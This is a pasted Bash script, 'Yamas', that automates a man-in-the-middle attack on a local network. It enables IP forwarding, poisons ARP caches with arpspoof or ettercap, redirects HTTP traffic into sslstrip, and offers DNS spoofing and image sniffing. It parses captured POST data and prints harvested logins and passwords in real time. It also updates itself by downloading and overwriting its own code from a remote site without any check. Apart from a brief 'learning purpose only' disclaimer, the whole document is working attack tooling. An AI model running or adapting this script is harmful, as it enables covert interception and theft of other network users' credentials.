Don't like ads? PRO users don't see any ads ;-)
Guest

Yamas BackBox compatible

By: a guest on Apr 30th, 2012  |  syntax: Bash  |  size: 22.27 KB  |  hits: 373  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. # #!/bin/bash
  2. # Bash script to launch man it the middle attack and sslstrip.
  3. # version 0.9 by comaX
  4.  
  5. if [ $UID -ne 0 ]; then
  6.     echo -e "\033[31This program must be run as root.
  7. This will probably fail.\033[m"
  8.     sleep 3
  9.     fi
  10.  
  11. log_output_dir=~
  12. sslstrip_dir=/usr/bin/sslstrip
  13. ask_for_install=y
  14.  
  15. if [ ! -d "$log_output_dir" ]; then
  16.     mkdir -p $log_output_dir
  17. fi
  18.  
  19. version="20120212"
  20. # if user ^C then execute cleanup function
  21. trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it may try killing non-existing processes.
  22. fast_cleanup()
  23. {
  24. echo -e "\n\n\033[31m ^C catched. Cleaning up, then exit.\033[m"
  25. if [[ $looparseid != "" ]];then
  26.         kill $looparseid
  27. fi
  28.  
  29. if [[ $sslstripid != "" ]];then
  30.         kill $sslstripid
  31. fi
  32.  
  33. if [[ $dnsid != "" ]];then
  34.         kill $dnsid
  35. fi
  36.  
  37. if [[ $etterspoofid != "" ]];then
  38. kill $etterspoofid
  39. fi
  40.  
  41. if [[ "$etter" = "1" ]];then
  42.         killall ettercap
  43. else
  44.         killall arpspoof
  45. fi
  46.  
  47. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  48. iptables --flush                        # there are probably too many resets here,
  49. iptables --table nat --flush            # but at least we're sure everything's clean
  50. iptables --delete-chain
  51. iptables --table nat --delete-chain
  52. if [ -e '/tmp/looparse.sh' ]; then
  53.         rm /tmp/looparse.sh
  54. fi
  55.  
  56. echo -e "\033[32m[-] Clean up successful !\033[m"
  57. exit 0
  58. }
  59.  
  60. #Let's define some arguments that can be passed to the script :
  61.  
  62. #generating grepcred.txt so that it doesn't have to be downloaded each time
  63. #it was originally being downloaded so I could easily fix it, but there has
  64. #been no fix to be done... So why use a file instead of a command line ?
  65. #It's just much more easier this way.
  66. echo -e "credential\nemail\nlast\nlog\nmodified\nname\nnickname\npass\npersistent\npw\nsession\ntextbox\nuser\nwebsite" > /tmp/grepcred.txt
  67. while [ "$1" != "" ];do
  68. case $1 in
  69.         -p | --parse)
  70.                 if [[ $2 == "" ]]; then
  71.                         echo -e "No input file given. Quitting. \nusage : $0 -p <file>"
  72.                         exit 0
  73.                 fi
  74. clear
  75.         echo -e "Parsing $2 for credentials.\n\n"
  76.         cat $2 |
  77.         awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
  78.         awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
  79.         egrep -i -a -f /tmp/grepcred.txt |
  80.         awk -F "=" '{if (length($2) < 4) print "";
  81.         else if ($1 ~/Website/) print $0;
  82.         else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  83.         else print "Login = \t"$2}' |
  84.         uniq
  85.         exit 0 ;;
  86.        
  87.         -e | --etter) echo -e "\tYou will be using Ettercap instead of ARPspoof."
  88.         etter="1"
  89.         shift
  90.         sleep 0.5 ;;
  91.  
  92.         -h | --help) clear
  93.         echo -e "You are running $0, version $version.
  94.  
  95.  
  96. usage : $0 -h -c -p -e -s -f
  97.         -h or --help  : Display this help message, disclaimer and exit.
  98.         -c or --change: Display changelog and todo.    
  99.         -e :    Use ettercap instead of ARPspoof. One might have one's reasons...
  100.                         ARPspoof is default.
  101.         -p or --parse : Only parse the given <file>. Don't use wildcards.
  102.                         Use > /output_file to print to a file.
  103.         -s : The script won't download anything. Make sure you have the needed files.
  104.         -f : Use a padlock favicon in sslstrip.
  105.        
  106. \033[31m DISCLAIMER :\033[m
  107. This program is intended for learning purpose only. I do not condone hacking
  108. and wouldn't be held responsible for your actions. Only you would face legal
  109. consequences if you used this script for illegal activities.
  110.  
  111. \033[31m What I think should be learnt from this script :\033[m
  112. This script should teach you how easy it is to steal sensitive online
  113. credentials and how to protect you from it, provided you understand
  114. what this program does. The best way to understand what it does is
  115. to look at its source. This will also teach you basic shell scripting."
  116. exit 0 ;;
  117.  
  118.         -c | --change)
  119.         clear
  120.         echo -e "\033[31m Changelog :\033[m
  121. ToDo :
  122. - FakeSSL -> Need help
  123.  
  124. \033[31mFeatures :\033[m
  125. - Output of credentials as they are sniffed in xterm window.
  126. - Log parsing for user-friendly output.
  127. - Both arpspoof and ettercap are suported
  128. - Network mapping for host discovery.
  129. - Can save \"dumped\" passwords to file.
  130. - Support for multiple targets on the network.
  131. - Can parse a single file.
  132. - Display ASCII tables for better readability of creds.
  133. - All options know default, pressing only enter should get you through.
  134. - Very neat and kewl ascii =D
  135. - Miscellaneous features
  136.  
  137. \033[31m Credits :\033[m
  138. Credits go to all people on backtrack forums for their help and support,
  139. and google for being my best friend with scripting.
  140. Special kudos to ShortBuss for something I should have seen a
  141. long time ago (sslstrip before arpspoof) and many little improvements.
  142. And of course, to the people responsible for the tools I am using in this script.
  143.  
  144. Please criticize this program or submit ideas on the official thread at
  145. http://tinyurl.com/yamas-bt5 or send me a mail at contact.comax@gmail.com"
  146.         exit ;;
  147.  
  148.         -s | --silent)
  149.         echo "silent mode ON"
  150.         silent="1"
  151.         shift ;;
  152.  
  153.         -f | --fav)
  154.         echo "favicon mode ON"
  155.         fav="-f"
  156.         shift ;;
  157.  
  158.         *) shift ;;
  159. esac
  160.  
  161. done
  162.  
  163. ### Message of the day ! <= Fucking useless, but who knows, I might want to warn about something directly, or tell a joke...
  164. if [[ "$silent" = "1" ]]; then
  165.         message="\nNo message to display : you are running in silent mode"
  166. else
  167.         message=$(curl --silent -q http://comax.fr/yamas/bt5/message) #store it to variable
  168. fi
  169.  
  170. if [[ $1 = "-s" || $2 = "-s" ]]; then
  171.         echo "ASCII tables won't be available."
  172.         echo "ASCII tables are not available due to the use of silent mode." > /tmp/ascii
  173. else
  174.         wget -q http://comax.fr/yamas/bt5/ascii -O /tmp/ascii
  175. fi
  176.  
  177. ### Check for updates !
  178. if [[ "$silent" = "1" ]];then
  179.         echo "Not checking for a new version : silent mode."
  180. else
  181.         changelog=$(curl --silent -q http://comax.fr/yamas/bt5/changelog)
  182.         last_version=$(curl --silent -q http://comax.fr/yamas/bt5/version) #store last version number to variable
  183.         if [[ $last_version > $version ]];then # Comparing to current version
  184.                 echo -e "You are running version \033[31m$version\033[m, do you want to update to \033[32m$last_version\033[m? (Y/N)
  185. Last changes are :
  186. $changelog"
  187.                 read update
  188.                 if [[ $update = Y || $update = y ]];then
  189.                         echo "[+] Updating script..."
  190.                         wget -q http://comax.fr/yamas/bt5/yamas.sh -O $0
  191.                         chmod +x $0
  192.                         echo "[-] Script updated !"
  193.                         if [[ $0 != '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
  194.                                 echo -e "Do you want to install it so that you can launch it with \"yamas\" ?"
  195.                                 read install
  196.                                 if [[ $install = Y || $install = y ]];then #do not proceed to install if using installed version : updating it already "installed" it over.
  197.                                         cp $0 /usr/bin/yamas
  198.                                         chmod +x /usr/bin/yamas
  199.                                         echo "Script should now be installed, launching yamas !"
  200.                                         sleep 3
  201.                                         yamas
  202.                                         exit 1
  203.                                 else
  204.                                         echo "Ok, continuing with updated version..."
  205.                                         sleep 3
  206.                                         $0
  207.                                         exit 1
  208.                                 fi
  209.                         fi
  210.                
  211.                 sleep 2
  212.                 $0
  213.                 exit 1
  214.                 else
  215.                         echo "Ok, continuing with current version..."
  216.                 fi
  217.         else
  218.                 echo "No update available"
  219.         fi
  220. fi
  221. ### End of update process
  222.  
  223. ### Install process
  224. if [[ ! -e '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
  225.         echo "Script is not installed. Do you want to install it ? (Y/N)"
  226.         read install
  227.         if [[ $install = Y || $install = y ]] ; then
  228.                 cp -v $0 /usr/bin/yamas
  229.                 chmod +x /usr/bin/yamas
  230.                 rm $0
  231.                 echo "Script should now be installed. Launching it !"
  232.                 sleep 3
  233.                 yamas
  234.                 exit 1
  235.         else
  236.                 echo "Ok, not installing then !"
  237.         fi
  238. else
  239.         echo "Script is installed"
  240.         sleep 1
  241. fi
  242. ### End of install process
  243.  
  244. clear
  245. echo -e "
  246.                                                              
  247.     \`YMM'   \`MM'   db      \`7MMM.     ,MMF'      db       .M\"\"\"bgd
  248.       VMA   ,V    ;MM:       MMMb    dPMM       ;MM:     ,MI    \"Y
  249.        VMA ,V    ,V^MM.      M YM   ,M MM      ,V^MM.    \`MMb.    
  250.         VMMP    ,M  \`MM      M  Mb  M' MM     ,M  \`MM      \`YMMNq.
  251.          MM     AbmmmqMA     M  YM.P'  MM     AbmmmqMA   .     \`MM
  252.          MM    A'     VML    M  \`YM'   MM    A'     VML  Mb     dM
  253.        .JMML..AMA.   .AMMA..JML. \`'  .JMML..AMA.   .AMMA.P\"Ybmmd\" " # <= I love it.
  254. echo -e "===========================================================================
  255. =\033[31m       Welcome to Yet Another MITM Automation Script.\033[m                    =
  256. =\033[31m       Use this tool responsibly, and enjoy!\033[m                             =
  257. =       Feel free to contribute and distribute this script as you please. =
  258. =       Official thread : http://tinyurl.com/yamas-bt5                    =
  259. =       Check out the help (-h) to see new features and informations      =
  260. =       You are running version \033[32m$version\033[m                                    =
  261. ==========================================================================="
  262. echo -e "\033[36mMessage of the day :\033[m"
  263. echo -e "$message"
  264. echo
  265.  
  266. # Starting fresh : reset IP forward and iptables
  267. echo -e "\033[31m [+] Cleaning iptables \033[m"
  268. echo "0" > /proc/sys/net/ipv4/ip_forward
  269. iptables --flush
  270. iptables --table nat --flush
  271. iptables --delete-chain
  272. iptables --table nat --delete-chain
  273. echo "[-] Cleaned."
  274.  
  275. # Defining exit function and other ending features
  276. cleanup()
  277. {
  278. echo
  279. echo -e "\033[31m[+] Killing processes and resetting iptable.\033[m"
  280. kill $sslstripid
  281. kill $looparseid
  282.  
  283. if [[ $drifton = 1 ]]; #if driftnet was used
  284.       then
  285.           echo -e "\033[31mIMMA KILL THIS DRIFTNET BITCH\033[m" #It's between him and me.
  286.               if [[ ! -e $log_output_dir/capture_$(date +%d%m%y) ]]; #check if destination folder exists, since driftnet won't create one nor save images
  287.                   then
  288.                   mkdir $log_output_dir/capture_$(date +%d%m%y) #create if needed
  289.               fi
  290.           cp /tmp/driftnet* $log_output_dir/capture_$(date +%d%m%y) #copy all content from driftnet's temp folder to destination
  291.           killall driftnet #kill the unbeliever
  292.           elif [[ $drifton = 2 ]]; #if tcpxtract was used
  293.           then
  294.           killall tcpxtract  #kill it...
  295. fi
  296.  
  297. if [[ "$etter" = "1" ]];then
  298.         killall ettercap
  299. else
  300.         killall arpspoof
  301. fi
  302.  
  303. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  304. iptables --flush                        # there are probably too many resets here,
  305. iptables --table nat --flush            # but at least we're sure everything's clean
  306. iptables --delete-chain
  307. iptables --table nat --delete-chain
  308. rm /tmp/looparse.sh
  309. echo -e "\033[32m[-] Clean up successful !\033[m"
  310. echo -e "\nDo you want to keep the whole log file for further use or shall we delete it? (Y=keep)"
  311. echo "(If you want to keep it, it will be stored in $log_output_dir/$filename.txt)"
  312. read -e keep
  313. if [[ $keep = "Y" || $keep = "y" ]];then # double brackets because double condition. || signifies "or"
  314.         cp /tmp/$filename.txt $log_output_dir/$filename.txt #moving file
  315.         if [ -f "$log_output_dir/$filename.txt" ]; then #check if it exists
  316.                 echo "Log file copied !" #it does
  317.                 else echo "Error while copying log file. Go check /tmp/ for $filename.txt" #it does not
  318.         fi
  319. else
  320.         echo "Logs not saved"
  321. fi
  322.  
  323. echo -e "\nDo you want to save passwords to a file? (Y=keep)"
  324. echo "(If you want to keep it, it will be saved in $log_output_dir/$filename.pass.txt)"
  325. read -e keeppd
  326. if [[ $keeppd = "Y" || $keeppd = "y" ]];then # double brackets because double condition. || signifies "or"
  327.         cat /tmp/$filename.txt |
  328.         awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
  329.         awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
  330.         egrep -i -a -f /tmp/grepcred.txt |
  331.         awk -F "=" '{if (length($2) < 4) print "";
  332.         else if ($1 ~/Website/) print $0;
  333.         else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  334.         else print "Login = \t"$2}' |
  335.         uniq >> $log_output_dir/$filename.pass.txt # >> appends to a potential previous file.
  336.         if [ -f "$log_output_dir/$filename.pass.txt" ]; then #check if it exists
  337.                 echo "Passwords saved !" #it does
  338.         else
  339.                 echo "Error while saving passwords" #it does not
  340.         fi
  341. else
  342.         echo "Password saving skipped."
  343. fi
  344.  
  345. rm /tmp/$filename.txt
  346. echo -e "\nTemporary files deleted."
  347. if [[ -f "/usr/bin/yamas" && $ask_for_install != 'y' ]];then #check if script is already installed
  348.         echo -e "\n\n"
  349.         exit 1 #if yes, exit.
  350. else
  351.         echo "This script is not installed yet. Do you wish to install it, so that you can reuse it later on by simply issuing 'yamas' in console? (Y/N)"
  352.         read -e install
  353.                 case $install in
  354.                 Y | y | yes)
  355.                         cp $0 /usr/bin/yamas #copy and rename script
  356.                         echo -e "\033[32m Script installed !\033[m" ;;
  357.                 *) echo "Script not installed." ;;
  358.                 esac
  359. fi
  360.  
  361. exit 1
  362. }
  363.  
  364. search=$(ip route show | awk '(NR == 2) { print $1}') #store gateway/24 for whole network mapping to variable
  365. #We put it here in the middle, because it could be used two times, but the gateway shouldn't change,
  366. #so there is no need to do it twice.
  367.  
  368. rescan ()
  369. {
  370. echo -e "\033[31m"
  371. nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discorvey
  372. echo -en "\033[m"
  373. final
  374. }
  375.  
  376. add_target()
  377. {
  378. echo "Enter a new IP adress to attack :"
  379. read newip
  380. xterm -geometry 90x3-1-1 -T "Poisoning $newip" -e arpspoof -i $iface -t $newip $gateway 2>/dev/null & sleep 2
  381. final
  382. }
  383.  
  384. ascii()
  385. {
  386. clear
  387. cat /tmp/ascii
  388. rm /tmp/ascii
  389. final
  390. }
  391.  
  392. dns_spoof()
  393. {
  394.  
  395. ### Make Host function###
  396.         mkhst()
  397.         {
  398.         echo "Enter your redirection list line by line. End with #.
  399. Usage is : 127.0.0.1 foo.bar.com
  400. Wildcards may be used."
  401.         rm ~/hosts_spoof
  402.         while :
  403.         do
  404.                 read input
  405.                 echo "$input" >> ~/hosts_spoof
  406.                 if [[ $input == "#" ]];then
  407.                         break
  408.                 fi
  409.         done
  410.         }
  411.  
  412. ###EOfunc###
  413. echo "If you already have a host file, enter its path. If you don't, press enter."
  414. read gothost
  415. if [[ $gothost != "" ]];then
  416.         echo "Host file $gothost will be used."
  417. else
  418.         echo -e "We'll make one...\n"
  419.         mkhst
  420. fi
  421.  
  422. xterm -geometry 90x3-1-1 -T "DNS spoofing" -e dnsspoof -i $iface -f ~/hosts_spoof & dnsid=$!
  423. }
  424.  
  425. choose_dns()
  426. {
  427. echo "Would you like to use Ettercap 'dns_spoof' plugin or dnsspoof (E/D) ? Press a to abort"
  428. read spoofpgm
  429. case $spoofpgm in
  430.         E) echo "We'll use ettercap. Make sure to have edited /usr/share/ettercap/etter.dns"
  431.         ettercap -D -q -i $iface -T -P dns_spoof & etterspoofid=$! ;;
  432.        
  433.         D) echo "We'll use dnsspoof."
  434.         dns_spoof ;;
  435.  
  436.         a | A) final ;;
  437.  
  438.         *) echo "Wrong choice. Please use E or D"
  439.         choose_dns;;
  440. esac
  441.  
  442. final
  443. }
  444.  
  445. misc()
  446. {
  447. echo -e "\nHere are the miscellanous features.
  448. 1. Image sniffing
  449. 2. DNS spoofing
  450. 3. Previous menu."
  451. read misc
  452. case $misc in
  453.         1) image_menu
  454.            final ;;
  455.         2) choose_dns ;;
  456.         3) final ;;
  457.         *) echo "bad choice"
  458.           misc ;;
  459. esac
  460. }
  461.  
  462. image_menu()
  463. {
  464. echo -e "Would you rather use driftnet (display images) or tcpxtract ?
  465. 1. Tcpxtract (saves all images to $log_output_dir/capture[date])
  466. 2. Driftnet (Display images on screen and save all images to $log_output_dir/capture[date])"
  467. read image_choice
  468. case $image_choice in
  469.         1) tcpxtract -d $iface -o $log_output_dir/capture_$(date +%d%m%y) > /dev/null & tcpid=$!
  470.            drifton=2
  471.            echo "tcpxtract is launched with pid $tcpid"
  472.            misc ;;
  473.         2)         driftnet -i $iface -d /tmp/ &> /dev/null &
  474.            drifton=1
  475.            echo "Driftnet launched."
  476.            misc ;;
  477. esac
  478. }
  479.  
  480. rtparse()
  481. {
  482. echo -e "\n\nIn this menu, you can pause, resume, kill, or launch
  483. realtime parsing (RTP).
  484. 1. Pause RTP (keep xterm open for you to read, copypasta, etc.)
  485. 2. Resume RTP.
  486. 3. Kill RTP (stop and close xterm)
  487. 4. Re-launch RTP
  488. 5. Previous menu."
  489. read rtp
  490. case $rtp in # not sure if this should be quote enclosed...anyone want to help out?  It's singular options without a space, so I think the need for quotes is NOT needed??
  491.         1) echo -e "\033[33m[+]Pausing...\033[m"
  492.         kill -19 $looparseid
  493.         echo -e "\033[33m[-]Paused.\033[m"
  494.         rtparse;;
  495.  
  496.         2) echo -e "\033[33m[+]Resuming...\033[m"
  497.         kill -18 $looparseid
  498.         echo -e "\033[33m[-]Resumed.\033[m"
  499.         rtparse;;
  500.  
  501.         3) echo -e "\033[31m[+]Killing...\033[m"
  502.         kill $looparseid
  503.         echo -e "\033[33m[-]Killed.\033[m"
  504.         rtparse;;
  505.  
  506.         4) echo -e "\033[32m[+]Launching...\033[m"
  507.         xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$!
  508.         sleep 2
  509.         echo -e "\033[33m[-]Launched.\033[m"
  510.         rtparse;;
  511.  
  512.         5) echo "Previous"
  513.         final ;;
  514.  
  515.         *) echo -e "\033[31mBad choice bro !\033[m\n" #Professional Language =)
  516.         rtparse;;
  517. esac
  518. }
  519.  
  520. final()
  521. {
  522. echo -e "\n\033[32mAttack is running\033[m. You can :
  523. 1. Rescan network.
  524. 2. Add a target (useless if targeting whole network).
  525. 3. Display ASCII correspondence table.
  526. 4. Real-time parsing...
  527. 5. Misc features.
  528. 6. Quit properly.
  529.  
  530. Enter the number of the desired option."
  531. read final
  532. case $final in
  533.         1) rescan ;;
  534.  
  535.         2) add_target ;;
  536.  
  537.         3) ascii ;;
  538.  
  539.         4) rtparse ;;
  540.  
  541.         5) misc ;;
  542.  
  543.         6) cleanup ;;
  544.  
  545.         *) echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
  546.         final ;;
  547. esac
  548. }
  549.  
  550. ###############################End of functions#############################
  551.  
  552. # IP forwarding
  553. echo
  554. echo -e "\033[31m [+] Activating IP forwarding... \033[m"
  555. echo "1" > /proc/sys/net/ipv4/ip_forward
  556. echo "[-] Activated."
  557.  
  558. #Iptables
  559. echo
  560. echo -e "\033[31m [+] Configuring iptables... \033[m"
  561. echo -en "\033[31m To \033[mwhat port should the traffic be redirected to? (default = 8080)"
  562. echo
  563. read -e outport
  564. if [ "$outport" = "" ];then
  565.         outport=8080
  566.         echo -e "Port $outport selected as default.\n"
  567. fi
  568.  
  569. echo -en "\033[31m From \033[mwhat port should the traffic be redirected to? (default = 80)"
  570. echo
  571. read -e inport
  572. if [ "$inport" = "" ];then
  573.         inport=80
  574.         echo -e "Port $inport selected as default.\n"
  575. fi
  576.  
  577. echo -e "\n\033[33m Traffic from port $inport will be redirected to port $outport \033[m"
  578. iptables -t nat -A PREROUTING -p tcp --destination-port $inport -j REDIRECT --to-port $outport
  579. echo "[-] Traffic rerouted"
  580.  
  581. #Sslstrip
  582. echo
  583. echo -e "\033[31m [+] Activating sslstrip... \033[m"
  584. echo  "Choose filename to output : (default = yamas)"
  585. read -e filename
  586. if [ "$filename" = "" ];then
  587.         filename="yamas"
  588. fi
  589.  
  590. echo -e "\033[33m Sslstrip will be listening on port $outport and outputting log in /tmp/$filename.txt\033[m"
  591.  
  592. if [ ! -e '/usr/bin/sslstrip' ];then # If sslstrip isn't installed
  593.         if [ ! -x '$sslstrip_dir/sslstrip.py' ];then #if non-installed is not executable
  594.                 chmod +x $sslstrip_dir/sslstrip.py #make it executable
  595.         fi
  596.         $sslstrip_dir/sslstrip.py $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$! #launch non-installed
  597. else
  598.         sslstrip $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  599. fi
  600.  
  601. sleep 4 #let time for sslstrip to launch. Might be bit too much, but better prevent than heal.
  602. echo
  603. echo -e " [-] Sslstrip is running." # a bit redundant, but who cares?
  604. echo
  605.  
  606. #Arpspoofing
  607. echo
  608. echo -e "\033[31m [+] Activating ARP cache poisoning... \033[m"
  609. echo
  610. ip route show | awk '(NR == 1) { print "Gateway :", $3,"    ", "Interface :", $5}' #Output IP route show user-friendly
  611. iface=$(ip route show | awk '(NR == 1) { print $5}')
  612. gateway=$(ip route show | awk '(NR == 1) { print $3}') #store gateway ip
  613. echo
  614. echo "Enter IP gateway adress or press enter to use $gateway."
  615. read -e gateway
  616. if [ "$gateway" = "" ];then
  617.         gateway=$(ip route show | awk '(NR == 1) { print $3}') #restore gateway ip since pressing enter set our var to null
  618.         echo -e "$gateway selected as default.\n"
  619. fi
  620.  
  621. echo
  622. echo "What interface would you like to use? It should match IP gateway as shown above. Press enter to use $iface."
  623. read -e iface
  624. if [ "$iface" = "" ];then
  625.         iface=$(ip route show | awk '(NR == 1) { print $5}') #store default interface
  626.         echo -e "$iface selected as default.\n"
  627. fi
  628.  
  629. echo -e "\r"
  630. echo -e "We will target the whole network as default. You can \033[4md\033[miscover hosts and enter IP(s) manually by entering \033[4mD\033[m.
  631. Press enter to default."
  632. read -e choicearp
  633. echo
  634. if [[ $choicearp = "D" || $choicearp = "d" ]];then
  635.         echo -e "\nDo you want to map the network to show live hosts? (Y/N)     [This might take up to 30 secs, be patient]"
  636.         read -e hosts
  637.         echo -e "\033[31m "
  638.         if [[ $hosts = "Y" || $hosts = "y" ]];then
  639.                 nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discovery
  640.                 echo -e "\033[m " # switch color back to white
  641.         else
  642.                 echo -e "\033[m "
  643.         fi
  644.         echo -e "Please enter targets according to usage : IP1 IP2 IP3...
  645. \033[31m Beware ! This will spawn as many windows as input targets and might slow down performances. If that was the case, then use whole network targeting.\033[m "
  646.         arpspoofi()
  647.         { # We launch ARPspoof in different xterm windows to keep script running
  648.         while [ "$1" != "" ];do
  649.                 xterm -geometry 90x3-1-1 -T "Poisoning $1" -e arpspoof -i $iface -t $1 $gateway 2>/dev/null & sleep 2
  650.                 shift
  651.         done
  652.  
  653.         echo -e "\033[33m Targeting $parameters on $gateway on $iface with ARPspoof\033[m"
  654.         }
  655.  
  656.         ettercapi()
  657.         { # We launch ARPspoof in different xterm windows to keep script running
  658.         while [ "$1" != "" ];do
  659.                 xterm -geometry 90x3-1-1 -T "Poisoning $1" -e ettercap -o -q -i $iface -T -M arp  /$gateway/ /$1/ 2>/dev/null & sleep 2
  660.                 shift
  661.         done
  662.  
  663.         echo -e "\033[33m Targeting $parameters on $gateway on $iface with Ettercap\033[m"
  664.         }
  665.  
  666.         read -e parameters
  667.         if [[ "$etter" = "1" ]];then
  668.                 ettercapi $parameters
  669.         else
  670.                 arpspoofi $parameters
  671.         fi
  672.  
  673. else
  674.         if [[ "$etter" = "1" ]];then
  675.                 xterm -geometry 90x3-1-1 -T ettercap -e ettercap -o -q -i $iface -T -M arp  // // &
  676.                 sleep 2
  677.                 echo -e "\033[33m Targeting the whole network on $gateway on $iface with Ettercap\033[m"
  678.         else
  679.                 xterm -geometry 90x3-1-1 -T arpspoof -e arpspoof -i $iface $gateway &
  680.                 sleep 2
  681.                 echo -e "\033[33m Targeting the whole network on $gateway on $iface with ARPspoof\033[m"
  682.         fi
  683. fi
  684.  
  685. echo -e "[-] Arp cache poisoning is launched. \033[31m Keep new window(s) running. \033[m"
  686. echo -e "\n\033[32m Attack should be running smooth, enjoy.\033[m"
  687. echo
  688. echo
  689. echo "looparse(){
  690. while :
  691. do
  692.         clear
  693.         echo -e 'Note that %40 %21, etc. are ASCII chars. + means a space...\n'
  694.         cat /tmp/$filename.txt |
  695. awk -F \"(\" '/POST Data/ {for (i=1;i<=NF;i++) if (match(\$i,/POST Data/)) n=i; print \"Website = \t\"\$2; getline; print \$n\"\n\"}' |
  696. awk -F \"&\" '{for(i=1;i<=NF;i++) print \$i }' | #print each field on a new line
  697. egrep -i -f '/tmp/grepcred.txt' |
  698. awk -F \"=\" '{if (length(\$2) < 3) print \"\";
  699. else if (\$1 ~/[W]/) print \$0;
  700. else if (\$1 ~/[Pp]/) print \"Password = \t\" \$2\"\n\";
  701. else print \"Login = \t\t\", \$2}' |
  702. uniq
  703. sleep 7
  704. done
  705.  }
  706. looparse" > /tmp/looparse.sh #We create a parsing script on-the-fly, chmod it, run it, kill it and remove it at the end.
  707. chmod +x /tmp/looparse.sh
  708. xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$! #here's the beauty
  709. sleep 2
  710. final #call the "final" function. Yes, it's the final one.
  711. ### End of the script fellas.